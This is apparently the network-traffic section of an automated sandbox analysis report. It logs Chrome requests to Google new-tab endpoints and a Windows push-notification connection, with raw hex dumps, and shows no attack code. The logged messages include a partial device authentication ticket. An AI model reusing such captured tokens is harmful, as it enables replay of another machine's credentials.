2024-12-09 17:20:12 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49716	142.250.181.100	443	5712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:20:12 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:20:13 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 09 Dec 2024 17:20:12 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-09 17:20:13 UTC	372	IN	Data Raw: 31 63 37 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1c78)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-09 17:20:13 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-09 17:20:13 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-09 17:20:13 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-09 17:20:13 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-09 17:20:13 UTC	1364	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 31 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700291,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window
2024-12-09 17:20:13 UTC	291	IN	Data Raw: 31 31 63 0d 0a 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e Data Ascii: 11ch;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.
2024-12-09 17:20:13 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4b 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f Data Ascii: 8000i\u003da}toString(){return this.i}};_.Ld\u003dnew _.Kd(\"about:invalid#zClosurez\");_.Hd\u003dclass{constructor(a){this.ih\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/
2024-12-09 17:20:13 UTC	1390	IN	Data Raw: 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c Data Ascii: \u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\
2024-12-09 17:20:13 UTC	1390	IN	Data Raw: 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c Data Ascii: 03d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",col

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49714	142.250.181.100	443	5712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:20:12 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:20:13 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 09 Dec 2024 17:20:12 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-09 17:20:13 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-09 17:20:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49735	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:20:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 38 43 66 32 56 38 4e 56 30 55 57 52 76 77 4c 54 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 65 34 32 32 34 35 37 64 66 65 33 38 32 63 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 8Cf2V8NV0UWRvwLT.1Context: 2e422457dfe382c0
2024-12-09 17:20:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-09 17:20:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 38 43 66 32 56 38 4e 56 30 55 57 52 76 77 4c 54 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 65 34 32 32 34 35 37 64 66 65 33 38 32 63 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 6f 62 46 6b 61 65 4f 4c 67 34 42 46 32 45 35 67 33 7a 47 65 61 42 65 6e 6d 4f 50 79 57 42 74 6d 30 74 63 79 72 4c 53 68 44 30 70 70 72 53 37 31 70 57 5a 48 76 71 4b 7a 47 6e 61 33 75 68 48 6f 69 31 75 76 5a 63 4f 6c 44 78 65 57 74 44 66 56 36 37 42 78 4e 52 2f 57 4c 67 6d 36 37 4e 76 55 52 34 6c 51 6e 62 39 53 6c 38 6c 44 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 8Cf2V8NV0UWRvwLT.2Context: 2e422457dfe382c0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASobFkaeOLg4BF2E5g3zGeaBenmOPyWBtm0tcyrLShD0pprS71pWZHvqKzGna3uhHoi1uvZcOlDxeWtDfV67BxNR/WLgm67NvUR4lQnb9Sl8lD
2024-12-09 17:20:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 38 43 66 32 56 38 4e 56 30 55 57 52 76 77 4c 54 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 65 34 32 32 34 35 37 64 66 65 33 38 32 63 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 8Cf2V8NV0UWRvwLT.3Context: 2e422457dfe382c0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-09 17:20:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-09 17:20:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 56 62 39 50 2b 64 42 36 6b 43 2b 73 6b 56 45 6e 33 7a 54 74 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: mVb9P+dB6kC+skVEn3zTtA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49781	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:20:29 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 65 35 50 65 66 70 48 42 55 45 75 51 63 53 78 35 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 32 65 32 36 63 33 39 30 32 63 35 38 31 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: e5PefpHBUEuQcSx5.1Context: 752e26c3902c5810
2024-12-09 17:20:29 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-09 17:20:29 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 65 35 50 65 66 70 48 42 55 45 75 51 63 53 78 35 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 32 65 32 36 63 33 39 30 32 63 35 38 31 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 6f 62 46 6b 61 65 4f 4c 67 34 42 46 32 45 35 67 33 7a 47 65 61 42 65 6e 6d 4f 50 79 57 42 74 6d 30 74 63 79 72 4c 53 68 44 30 70 70 72 53 37 31 70 57 5a 48 76 71 4b 7a 47 6e 61 33 75 68 48 6f 69 31 75 76 5a 63 4f 6c 44 78 65 57 74 44 66 56 36 37 42 78 4e 52 2f 57 4c 67 6d 36 37 4e 76 55 52 34 6c 51 6e 62 39 53 6c 38 6c 44 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: e5PefpHBUEuQcSx5.2Context: 752e26c3902c5810<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASobFkaeOLg4BF2E5g3zGeaBenmOPyWBtm0tcyrLShD0pprS71pWZHvqKzGna3uhHoi1uvZcOlDxeWtDfV67BxNR/WLgm67NvUR4lQnb9Sl8lD
